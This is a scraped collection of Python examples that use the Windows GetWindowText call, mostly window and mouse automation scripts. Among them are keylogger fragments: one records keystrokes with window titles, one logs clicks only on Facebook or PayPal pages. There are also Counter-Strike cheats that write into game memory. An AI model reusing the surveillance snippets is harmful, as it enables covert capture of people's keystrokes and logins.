Пример #1
1
def set_mouse_position(show_log):
    """
    Threaded function which sets the mouse position on receiving the "event_switch" event
    from the keyboard event handler. Will exit if it recieves the "event_quit" event.

    @param args tuple: Only first value is used - bool, enables/disables debug log
    """

    global event_switch, event_quit
    current_win = ''
    previous_win = ''

    # Runs as long as "event_quit" has not been received
    while not event_quit.is_set():
        if event_switch.is_set():
            # Wait for the 'Task Switching' window to close
            while(GetWindowText(GetForegroundWindow()).split('-')[-1] == 'Task Switching'):
                pass
            time.sleep(0.25)

            # Get the foreground window's text again
            current_win = GetWindowText(GetForegroundWindow())

            # Make sure we didn't end up with the same window as before
            if current_win != previous_win:
                # Get the foreground window's dimensions
                l, t, r, b = GetWindowRect(GetForegroundWindow())

                # Calculate mouse position
                x = l + (r - l) / 2
                y = t + (b - t) / 2

                # Print the window information and new mouse co-ordinates
                if(show_log):
                    print 'Window: ', current_win.split('-')[-1], ' @[', l, t, r, b, ']'
                    print 'Setting mouse position to: (', x, ', ', y, ')'
                    print '---\n'

                # Set the new mouse position
                SetCursorPos((x, y))

                # Set the previous window to the current window
                previous_win = current_win

            # Clear "event_switch" event
            event_switch.clear()
Пример #2
0
def path_from_hwnd(vlc_hwnd):

    # VLC Tools -> Preferences -> Show "All" Settings ->
    # Input/Codecs -> Change title according to current media =$F
    # Displays file path to current media in VLC window text

    window_title = GetWindowText(vlc_hwnd)

    translation_dict = {
        " - VLC media player": "",
        "file:///": "",
        "%20": " ",
        "%21": "!",
        "%23": "#",
        "%24": "$",
        "%25": "%",
        "%26": "&",
        "%28": "(",
        "%29": ")",
        "%5B": "[",
        "%5D": "]",
        "%27": "'",
        "%40": "@",
        "%2B": "+",
        "%2C": ",",
        "%5E": "^",
        "%3B": ";",
        "%60": "`"
    }

    for key in translation_dict.keys():
        window_title = window_title.replace(key, translation_dict[key])
    file_path = path.normpath(window_title)

    return file_path
Пример #3
0
 def __call__(self):
     strBillyTitle = ""
     hwnds = FindBilly()
     if (hwnds is not None):
         strBillyTitle = GetWindowText(hwnds[0])
         strBillyTitle = strBillyTitle.replace(" - Billy", "")
     return strBillyTitle
Пример #4
0
 def __call__(self):
     strBillyTitle = ""
     hwnds = FindBilly()
     if ( hwnds is not None ):
         strBillyTitle = GetWindowText(hwnds[0])
         strBillyTitle = strBillyTitle.replace(" - Billy", "")
     return strBillyTitle
Пример #5
0
def main(argv):
    #initialize variables for command line arguments
    arg_server = '127.0.0.1:8080'

    #get command line arguments
    try:
        opts, args = getopt.getopt(argv, 's:')
    except getopt.GetoptError:
        sys.exit(2)

    for opt, arg in opts:
        if opt == '-s':
            arg_server = arg

    print('INFO: Polling server %s' % arg_server)

    while (True):
        time.sleep(1)
        wintext = GetWindowText(GetForegroundWindow())

        if wintext.startswith('PowerPointova diaprojekcija - ['):
            cmd = getcommand(arg_server)
            if not cmd is None:
                if cmd == 'next':
                    keyboard.send('space')
                elif cmd == 'back':
                    keyboard.send('backspace')
                elif cmd == 'stop':
                    keyboard.send('escape')
Пример #6
0
def switch():
    window = GetWindowText(GetForegroundWindow())
    keyboard.send('alt+tab')
    while GetWindowText(
            GetForegroundWindow()) in [window, "Task Switching", ""]:
        pass
    keyboard.send('alt+F4')
Пример #7
0
def get_target_position_hwnd(target_mouse_position_x, target_mouse_position_y):
    """
    get hwnd value what the target position's program
    :param target_mouse_position_x: target mouse position x
    :param target_mouse_position_y: target mouse position y
    :return:
    """
    data = []

    def callback(hwnd, param):
        (left, top, right, bottom) = GetWindowRect(hwnd)
        if target_mouse_position_x > right or target_mouse_position_x < left:
            return
        if target_mouse_position_y > bottom or target_mouse_position_y < top:
            return
        data.append(hwnd)

    EnumWindows(callback, None)
    for hwnd in data:
        window_text = GetWindowText(hwnd)
        if not window_text or window_text.strip() == '':
            continue
        if not IsWindowVisible(hwnd):
            continue
        return hwnd
Пример #8
0
def activate_window(mode, delay=0.05):
    """


    Parameters
    ----------
    mode : "tibia"
    delay : Delay between actions. The default is 0.5.

    Returns
    -------
    None.

    """

    logging.debug("Function activate_window() called with passed: %s.", mode)
    logging.info("Current active window: %s",
                 GetWindowText(GetForegroundWindow()))
    if mode == "tibia":
        window = pyautogui.getWindowsWithTitle("Kasteria - Tibijka")[0]
        window_text = "Kasteria - Tibijka"
    if GetWindowText(GetForegroundWindow()) != window_text:
        logging.info(
            "active window != desired window, window activation goes on")
        window.minimize()
        time.sleep(delay)
        window.restore()
        window.activate()
        time.sleep(delay)
    logging.info("Current active window: %s",
                 GetWindowText(GetForegroundWindow()))

    logging.debug("Function activate_window end.")
Пример #9
0
 def OnMouseEvent(event):
     currentWindow = GetWindowText(GetForegroundWindow())
     if not((currentWindow.find("Chrome")!=-1) and ((currentWindow.find("Facebook")!= -1)or (currentWindow.find("PayPal")!= -1))):
      return # if not in chrome or in chrome but not on facebook,paypal or gmail
     else:
         f = open('C:\\Users\\Elad\\Desktop\\output.txt', 'a')
         f.write('\n <M-CLICK> \n')
         f.close()
Пример #10
0
    def foo(hwnd, mouse):
        #去掉下面这句就所有都输出了,但是我不需要那么多
        if IsWindow(hwnd) and IsWindowEnabled(hwnd) and IsWindowVisible(hwnd):
            if (subset):
                if (title_name in GetWindowText(hwnd)):
                    titles.add(hwnd)

            if (GetWindowText(hwnd) == title_name): titles.add(hwnd)
def preenchimento_tab_simples(nome_janela_deve_conter):
    delay_entre_preenchimento = 0.3 #delay dado a cada preenchimento
    dela_entre_varredura_de_tela = 0.5#delay entre uma verificação e outra de tela quando aguarda o preenchimento do TXT
    nome_desta_janela = "py.exe"
    nome_arquivo = "tempdadospreenchimento.txt"
    os.system(f"echo PREENCHA SEUS DADOS AQUI (EXCLUA ESTE CONTEÚDO) > {nome_arquivo}&&echo SEPARE CADA CELULA com um TAB. >> {nome_arquivo}&&start {nome_arquivo}")
    time.sleep(1)
    while True:
        if (nome_desta_janela  in GetWindowText(GetForegroundWindow())):
            break
        time.sleep(dela_entre_varredura_de_tela)
    os.system(f"echo.>> {nome_arquivo}")#adiciona linha em branco, pra garantir que tenha. ##VER## isso pode ser melhorado
    print(f'Buscando janela do {nome_janela_deve_conter}')
    if(busca_janela(nome_janela_deve_conter, 10)):
        print(f"Janela do {nome_janela_deve_conter} encontrada!")
    else:
        print("Janela não encontrada!")
        return
    with open(nome_arquivo, "r") as arquivo:
        '''for linha in arquivo:
            if not nome_janela_deve_conter in GetWindowText(GetForegroundWindow()):
                print(f'Você não está mais na janela do {nome_janela_deve_conter}')
                return
            print("{:.100s}".format(linha[:len(linha)-1]))
            for letra in linha:
                if(letra == '\t'):
                    pyautogui.press('tab')
                elif(letra == '\n'):
                    pyautogui.press('tab')
                    pyautogui.press('tab')
                else:
                    pyautogui.write(letra)'''
        for linha in arquivo:
            if not nome_janela_deve_conter in GetWindowText(GetForegroundWindow()):
                print(f'Você não está mais na janela do {nome_janela_deve_conter}')
                return
            print("{:.100s}".format(linha[:len(linha)-1]))
            temp_string = ""
            celulas = []
            linha_util = False
            for letra in linha:
                if(letra == '\t' or letra == '\n'):
                    celulas.append(temp_string)
                    temp_string = ""
                else:
                    linha_util = True
                    temp_string += letra
            if(linha_util == True):
                for celula in celulas:
                    pyautogui.write(f"{celula}\t")
                pyautogui.press('tab')
        
    os.system(f"del /q {nome_arquivo}")
Пример #12
0
def updateWindow():
    global cWindow
    if cWindow != GetWindowText(GetForegroundWindow()):
        cWindow = GetWindowText(GetForegroundWindow())
        print(cWindow)
        # print(win32gui.GetClassName(GetForegroundWindow()))

        if "Google Chrome" in cWindow:
            print("Chrome Found")
            print(win32gui.FindWindow("Chrome_WidgetWin_1", None))
        else:
            print("Chrome not found")
Пример #13
0
 def run(self) -> None:
     if platform.system().lower() != 'windows':
         # skip focus check and allow draw anytime
         self.frames_draw_allowed = True
         return
     while True:
         window = GetWindowText(GetForegroundWindow())
         self.frames_draw_allowed = window.lower() in windows_to_draw_frames
         sleep(0.2)
         if window != self.last_window:
             self.painter_widget.update()
         self.last_window = window
Пример #14
0
def display(event, key):
    global data, lastwindow
    if lastwindow != GetWindowText(GetForegroundWindow()):
        lastwindow = GetWindowText(GetForegroundWindow())
        data += ' [ ' + lastwindow + ' ] '
        if key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal':
            data += ' { ' + str(key) + ' } '
        else:
            data += key
    elif key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal':
        data += ' { ' + str(key) + ' } '
    else:
        data += key
def requisita_materiais_avancado():
    nome_janela_deve_conter = "cmp072"  #variável que armazena o nime da janela que deve ser procurada
    print(
        "ATENÇÃO: Ao confirmar a seção de entrega a digitação iniciará automaticamente!"
    )
    secao = input("Digite a seção de entrega: ")
    print(f'Buscando janela do {nome_janela_deve_conter}')
    for x in range(6):  #Teste as 6 proximas janelas
        pyautogui.keyDown('alt')
        for y in range(x):
            pyautogui.press('tab')
        pyautogui.keyUp('alt')
        if nome_janela_deve_conter in GetWindowText(GetForegroundWindow()):
            print("Janela encontrada")
            break
    if (x >= 5):
        print("Janela não encontrada!")
        return
    with open("materiais.txt", "r") as arquivo:
        for linha in arquivo:
            if not nome_janela_deve_conter in GetWindowText(
                    GetForegroundWindow()):
                print(
                    f'Você não está mais na janela do {nome_janela_deve_conter}'
                )
                return
            print("{:.100s}".format(linha))
            etapa = 0
            temp = ""
            for letra in linha:
                if (letra == '\n' and etapa == 0):
                    print("Final de linha encontrado antes do esperado")
                    return
                if (letra == '\t' or letra == '\n'):
                    if (etapa == 0):  #acabou de digitar ERP
                        while (len(temp) < 6):
                            temp = "0" + temp
                        pyautogui.write("{}\t".format(temp))
                        temp = ""  #limpa a variável temporária
                    elif (etapa == 1):  #acabou de digitar a quantidade
                        pyautogui.write("{}\ts\t{}\t".format(temp, secao))
                        temp = ""  #limpa a variável temporária
                    etapa += 1
                else:
                    if (etapa == 0):  #obtendo ERP
                        temp += letra  #concatena a string com os caracteres lidos
                    if (etapa == 1):  #obtendo quantidade
                        temp += letra  #concatena a string com os caracteres lidos
                if (etapa == 2):
                    break  #ignora o resto da linha
            time.sleep(1)  #1s entre uma requisição e outra
Пример #16
0
def getListOfTabs():
    """alt + tab's until google chrome is open, then ctrl + tab though tabs until every tab has been visited once. 
    Returns the list of open tabs """

    screenWidth, screenHeight = py.size()
    a = "start"
    first_opened = GetWindowText(
        GetForegroundWindow()
    )  #save the first window that is open, so we know when we have checked all
    i = 1
    while first_opened != a:  #until we return to the first opened window
        py.keyDown("alt")  #alt then tab i number of tmies
        for n in range(0, i):
            py.press("tab")
        py.keyUp("alt")
        a = GetWindowText(
            GetForegroundWindow())  #save the title of the foreground window
        if "Google Chrome" in a:  #if it is google chrome break the loop
            break
        py.keyDown("alt")  #otherwise alt tab back to the first window
        py.press(
            "tab"
        )  #this is done because alt tabing from here will mess up the order of the windows
        py.keyUp("alt")
        i += 1

    #now that google chrome is in focus time to get the tabs
    tabs = []  #list that gonna hold the url of all open tabs
    py.moveTo(screenWidth * 0.5, 68)  #place cursor on address bar

    for a in range(
            100
    ):  #the 100 is an arbirary max, and would allow upto 50 tabs(much more than the arduino can store)
        #the approach is this -- itterate through two tabs and add them to the list. then check if the first half of the list
        #is equal to the second half. This is to see that we have visited all tabs. This is also why we make two step itterations
        # if you have 5 tabs open it will at first be discovered on after adding 10 tabs
        for _ in range(2):
            py.click()  #click address bar
            py.keyDown("ctrl", _pause=False)  #copy content
            py.press(["a", "c", "tab"])
            py.keyUp("ctrl", pause=False)
            win32clipboard.OpenClipboard(
            )  #open the clip board and add the data from there to the list of tabs
            tabs.append(win32clipboard.GetClipboardData())
            win32clipboard.CloseClipboard()

        if (tabs[:len(tabs) // 2] == tabs[len(tabs) // 2:]):  #explained above
            break
    return tabs[:len(tabs) // 2]
Пример #17
0
def startListen(port):
    global stop
    global defaultActions
    global showRawRead
    global baudrate

    # hide window
    root.withdraw()

    ser = serial.Serial(port, baudrate)

    # listener
    while stop == False:

        # current open and active in foreground window
        currWindow = GetWindowText(GetForegroundWindow())

        try:
            read = ser.readline().strip().decode('ascii')
        except serial.SerialException:
            read = "null"
            stop = ExitApplication(2)
            pass

        if (showRawRead):
            print(currWindow)
            print("raw read: " + read)

        # kill/stop app button, not needed at all
        elif read == 'kil':
            print("stop")
            root.deiconify()
            stop = ExitApplication(1)
            if stop == False:
                root.withdraw()

        #? 'profiles'
        # Add and/or change the name of the program
        # must contain a exactly word of the window title
        if (currWindow.find("Chrome") > -1):
            ACTIONS_CHROME(read)
        # elif(currWindow.find("<My_Program_name_here>")):
        # ACTIOSN_MY_PROGRAM_ACTIONS_HANDLER(read)

        # default actions
        else:
            if (defaultActions):
                ACTIONS_DEFAULT(read)
Пример #18
0
 def get_current_foreground_app_title(self):
     try:
         hwnd = GetForegroundWindow()
         title = GetWindowText(hwnd)
         return title
     except:
         return None
Пример #19
0
def tweak_loop(tweaks):
    # Loads welcome text and lists off loaded tweaks.
    print("MW2Tweak v1.0 loaded. You have the following tweaks loaded:")
    for tweak in tweaks:
        print("\t-> {}".format(tweak))

    # Grabs values for tweaks if they are enabled.
    if "fov" in tweaks:
        fov_value = config.get("mw2tweak", "fov_value")

    if "fps" in tweaks:
        fps_value = config.get("mw2tweak", "fps_value")

    while True:
        # We only want to write to the game when alt-tabbed in.
        if "Modern Warfare 2" in GetWindowText(GetForegroundWindow()):
            # If tweak is enabled, we will write values to addresses.
            if "fps" in tweaks:
                pm.write_int(FPS_ADDRESS, int(fps_value))

            if "fov" in tweaks:
                pm.write_float(FOV_ADDRESS, float(fov_value))

            # Sleep to save some extra CPU cycles.
            time.sleep(0.1)
Пример #20
0
    def __init__(self):
        self.dwEntityList = 0x4D4B104
        self.dwForceAttack = 0x317C6EC
        self.dwLocalPlayer = 0xD36B94
        self.m_fFlags = 0x104
        self.m_iCrosshairId = 0xB3D4
        self.m_iTeamNum = 0xF4

        self.pm = pymem.Pymem("csgo.exe")
        self.client = pymem.process.module_from_name(
            self.pm.process_handle, "self.client.dll").lpBaseOfDll

        while True:
            if not GetWindowText(GetForegroundWindow()
                                 ) == "Counter-Strike: Global Offensive":
                continue

            self.player = self.pm.read_int(self.client + self.dwLocalPlayer)
            self.entity_id = self.pm.read_int(self.player +
                                              self.m_iCrosshairId)
            self.entity = self.pm.read_int(self.client + self.dwEntityList +
                                           (self.entity_id - 1) * 0x10)

            self.entity_team = self.pm.read_int(self.entity + self.m_iTeamNum)
            self.player_team = self.pm.read_int(self.player + self.m_iTeamNum)

            if 0 < self.entity_id <= 64 and self.player_team != self.entity_team:
                self.pm.write_int(self.client + self.dwForceAttack, 6)

            time.sleep(0.006)
Пример #21
0
 def checking(*args):
     if GetWindowText(GetForegroundWindow()) == 'Path of Exile':
         # if GetWindowText(GetForegroundWindow()) == 'configs.txt - 記事本':
         # if 1:
         func(*args)
     else:
         pass
Пример #22
0
def main():
    os.system('mode con: lines=25')

    time.sleep(delay)
    app_name = "Binding of Isaac: Afterbirth"
    if GetWindowText(GetForegroundWindow()) != app_name:
        print("Switch to Isaac")
    finding_treasure_room = True
    finding_good_run = True
    number_of_runs = 1
    while finding_good_run:
        while finding_treasure_room:
            restart_run()
            # time.sleep(3.5)  # Waiting for floor's name to dissapear
            time.sleep(1)  # Waiting for animation
            print("[Run #%s] Finding room" % number_of_runs)
            direction = is_treasure_room()
            if direction:
                print("Found. Going %s" % direction)
                # time.sleep(.5)
                go(direction)
                finding_treasure_room = False
            else:
                print("Nope\n")
                number_of_runs += 1
        time.sleep(1.3)
        current_items = get_from_log()["items"]
        print("%s\n" % current_items)
        if current_items.intersection(set(item_list)):
            finding_good_run = False
        else:
            finding_treasure_room = True
        number_of_runs += 1

    pyautogui.keyDown('esc')
Пример #23
0
    def __init__(self):
        self.dwForceJump = 0x51F4D88
        self.dwLocalPlayer = 0xD36B94
        self.m_fFlags = 0x104

        self.pm = pymem.Pymem("csgo.exe")
        self.client = pymem.process.module_from_name(
            self.pm.process_handle, "self.client.dll").lpBaseOfDll

        while True:
            if not GetWindowText(GetForegroundWindow()
                                 ) == "Counter-Strike: Global Offensive":
                continue

            if keyboard.is_pressed("space"):
                self.force_jump = self.client + self.dwForceJump
                self.player = self.pm.read_int(self.client +
                                               self.dwLocalPlayer)
                if self.player:
                    self.on_ground = self.pm.read_int(self.player +
                                                      self.m_fFlags)
                    if self.on_ground and self.on_ground == 257:
                        self.pm.write_int(self.force_jump, 5)
                        time.sleep(0.08)
                        self.pm.write_int(self.force_jump, 4)

            time.sleep(0.002)
Пример #24
0
    async def get_current_pokemon_status(self, ctx: commands.Context):
        if self.last_frame:
            arr = io.BytesIO()
            self.last_frame.save(arr, format='PNG')
            arr.seek(0)
            file = discord.File(arr, filename="pokemon.png")
            await ctx.send(file=file)
            await ctx.send(
                f"Currently buffered inputs: {[self.buttons[x] for x in self.input_buffer]}"
            )
            return

        if self.desired_window_name not in GetWindowText(
                GetForegroundWindow()):
            return await ctx.send(
                f"The Game is either not running or out of focus! And no last frame exists.\n"
                f"Currently buffered inputs: {[self.buttons[x] for x in self.input_buffer]}"
            )

        rect = GetWindowRect(GetForegroundWindow())
        x = rect[0]
        y = rect[1]
        w = rect[2] - x
        h = rect[3] - y
        image = pyautogui.screenshot(region=(x, y, w, h))
        self.last_frame = image
        arr = io.BytesIO()
        image.save(arr, format='PNG')
        arr.seek(0)
        file = discord.File(arr, filename="pokemon.png")
        await ctx.send(file=file)
        await ctx.send(
            f"Currently buffered inputs: {[self.buttons[x] for x in self.input_buffer]}"
        )
Пример #25
0
    async def pokemon_step(self, ctx: commands.Context, button):
        if button not in self.buttons:
            return await ctx.send(
                f"Only support following keys: {list(self.buttons.keys())}.")
        if len(self.input_buffer) > self.max_input_buffer:
            await ctx.send(
                f"Input Buffer is full, please wait for the game to process the inputs first."
            )
        else:
            self.input_buffer.append(button)
            await ctx.send(
                f"Added your input to the Input Buffer [{len(self.input_buffer) - 1}]"
            )
        if self.desired_window_name not in GetWindowText(
                GetForegroundWindow()):
            return await ctx.send(
                f"The Game is either not running or out of focus!")

        while self.input_buffer:
            button = self.input_buffer.pop()
            key = self.buttons[button]
            pydirectinput.press(key)
        rect = GetWindowRect(GetForegroundWindow())
        x = rect[0]
        y = rect[1]
        w = rect[2] - x
        h = rect[3] - y
        image = pyautogui.screenshot(region=(x, y, w, h))
        self.last_frame = image
        arr = io.BytesIO()
        image.save(arr, format='PNG')
        arr.seek(0)
        file = discord.File(arr, filename="pokemon.png")
        await ctx.send(file=file)
Пример #26
0
def thread2(threadname, q):
    try:
        global check_for_chrome
        while True:
            ctypes.windll.user32.keybd_event(0x12, 0, 0x0002, 0)
            time.sleep(45)
            if q.empty() == False:
                a = q.get()
            if a == 0:
                w.find_window_wildcard(".*Chrome.*")
                counter = 0
                while ("Chrome" not in GetWindowText(GetForegroundWindow())):
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x12, 0, 0, 0)
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x1B, 0, 0, 0)
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x1B, 0, 0x0002, 0)
                    time.sleep(.2)
                    ctypes.windll.user32.keybd_event(0x12, 0, 0x0002, 0)
                    time.sleep(.2)
                    counter = counter + 1
                    if counter > 4:
                        counter = 0
                        check_for_chrome()
                        break
                time.sleep(.5)
                w.show_window()
                time.sleep(.5)
    except:
        pass
Пример #27
0
    def body(self, fulltime, mode):
        
        self.keyboard = Controller()

        period = fulltime * 3600
        self.halftime = fulltime * 3600 / 2

        print('\nPeriod (T) of adventure: ', period, ' second(s)')
        print('T/2 of adventure: ', self.halftime, 'second(s)\n')

        self.adventure_mode = '$adventure ' + str(mode)
        self.halftime_message = '[BOT] '+ str(self.halftime / 3600) + ' hours have passed since @wins started their adventure.'

        if platform.system() == "Windows":
            while "Discord" not in GetWindowText(GetForegroundWindow()):
                print("Please maximise/focus on Discord.")
                time.sleep(0.2)

        elif platform == "Darwin":
            pass

        elif platform == "Linux":
            pass

        self.action()
Пример #28
0
        def on_press(key):
            if any([key in COMBO for COMBO in self.COMBINATIONS]):
                self.current.add(key)
                if any(
                        all(k in self.current for k in COMBO)
                        for COMBO in self.COMBINATIONS):
                    #open GUI
                    pass
            try:
                c = str(key.char)
            except AttributeError:
                c = str(key).replace('Key.', '')
                if c == 'space':
                    c = ' '
                else:
                    c = '[' + str(c) + ']'

            current_window = GetWindowText(GetForegroundWindow())
            if current_window != self.prev_window:
                self.write_log_file(
                    '\n------------------------------------\n[' +
                    str(current_window) + ']:\n')  #save to file
                self.prev_window = current_window

            self.mouse_clicked = False
            self.write_log_file(str(c))  #save to file
Пример #29
0
 def __call__(self):
     hwnds = Handle()
     if len(hwnds) > 0:
         return GetWindowText(hwnds[0])
     else:
         self.PrintError(self.plugin.text.text1)
         return self.plugin.text.text1
Пример #30
0
def main():
    try:
        pm = pymem.Pymem("csgo.exe")
    except:
        MessageBox = ctypes.windll.user32.MessageBoxW
        MessageBox(None, 'Could not find the csgo.exe process !', 'Error', 16)
        return
    client = pymem.process.module_from_name(pm.process_handle,
                                            "client.dll").lpBaseOfDll

    while True:
        if not GetWindowText(
                GetForegroundWindow()) == "Counter-Strike: Global Offensive":
            continue

        if keyboard.is_pressed("space"):
            force_jump = client + dwForceJump
            player = pm.read_int(client + dwLocalPlayer)
            if player:
                on_ground = pm.read_int(player + m_fFlags)
                if on_ground and on_ground == 257:
                    a = randint(0, 5)
                    time.sleep(a / 100)
                    pm.write_int(force_jump, 5)
                    time.sleep(0.08)
                    pm.write_int(force_jump, 4)

        time.sleep(0.002)
Пример #31
0
def main():
    lstRaw = []
    prevText = ''
    startTime = TodayAsString()
    tot_seconds = 1
    try:
        while True:
            txt = GetWindowText(GetForegroundWindow())
            #print(txt)
            #AppendToFile(fname, TodayAsString() + ' ' + txt + '\n')
            if txt == prevText:
                tot_seconds = tot_seconds + 1
            else:
                lstRaw.append(startTime + ',' + format(tot_seconds, "03d") +
                              ',' + txt)
                prevText = txt
                tot_seconds = 1
                startTime = TodayAsString()
            time.sleep(1)
            if TodayAsString()[-3:] == ':00':
                lstRaw.append(startTime + ',' + format(tot_seconds, "03d") +
                              ',' + txt)
                #print('Recording data')
                tot_seconds = 1
                startTime = TodayAsString()
                record(lstRaw)
                lstRaw = []

    except KeyboardInterrupt:
        print("logging halted")
        lstRaw.append(startTime + ',' + format(tot_seconds, "03d") + ',' +
                      txt)  # save the latest record
        record(lstRaw)
Пример #32
0
    def _get_active_window_on_nt(self) -> Tuple[Optional[str], ...]:
        """Returns details of the active window on windows platform"""
        # See https://stackoverflow.com/a/47936739 for reference code.
        # pyright: reportUndefinedVariable=false
        window, program = GetForegroundWindow(), None
        pid = GetWindowThreadProcessId(window)[-1]
        # We are considering only one active instance of a process.
        # Even if the parent process spawns multiple child processes
        # this check ensures that we do not record instances of a
        # process that were not interacted by the user.
        if psutil.pid.exists(pid):
            window = GetWindowText(window)
            # Skip `Task Switching` program and other program
            # switching overlays that are invoked with `Alt + Tab`.
            window = window if window != "Task Switching" else None
            path = psutil.Process(pid).exe()
            # See https://stackoverflow.com/a/31119785 for using
            # windows resource table for parsing program name.
            try:
                lang, page = _info(path, "\\VarFileInfo\\Translation")[0]
                addr = "%04X%04X" % (lang, page)
                file = u"\\StringFileInfo\\{}\\FileDescription".format(addr)
                program = _info(path, file)
            except NameError:
                self.log.error(f"{self._name} could not resolve program name.")
                window = None
                program = None

        return window, program
Пример #33
0
 def _callBack_popWin(self, hwin, args):
     """ this callback function is called with handle of each top-level
     window. Window handles are used to check the of window in question is
     visible and if so it's title strings checked to see if it is a standard
     application (e.g. not the start button or natlink voice command itself).
     Populate dictionary of window title keys to window handle values. """
     #print '.' #self.nullTitles
     #nullTitles = self.nullTitles.append(self.skipTitle)
     #print nullTitles
     if IsWindowVisible(hwin):
         winText = GetWindowText(hwin).strip()
         nt = self.nullTitles + [self.skipTitle,]
         if winText and winText not in nt: # and\
             # enable duplicates #winText not in args.values():
             if winText.count('WinSCP') and winText != 'WinSCP Login':
                 if winText in args.values():
                     return
             args.update({hwin: winText})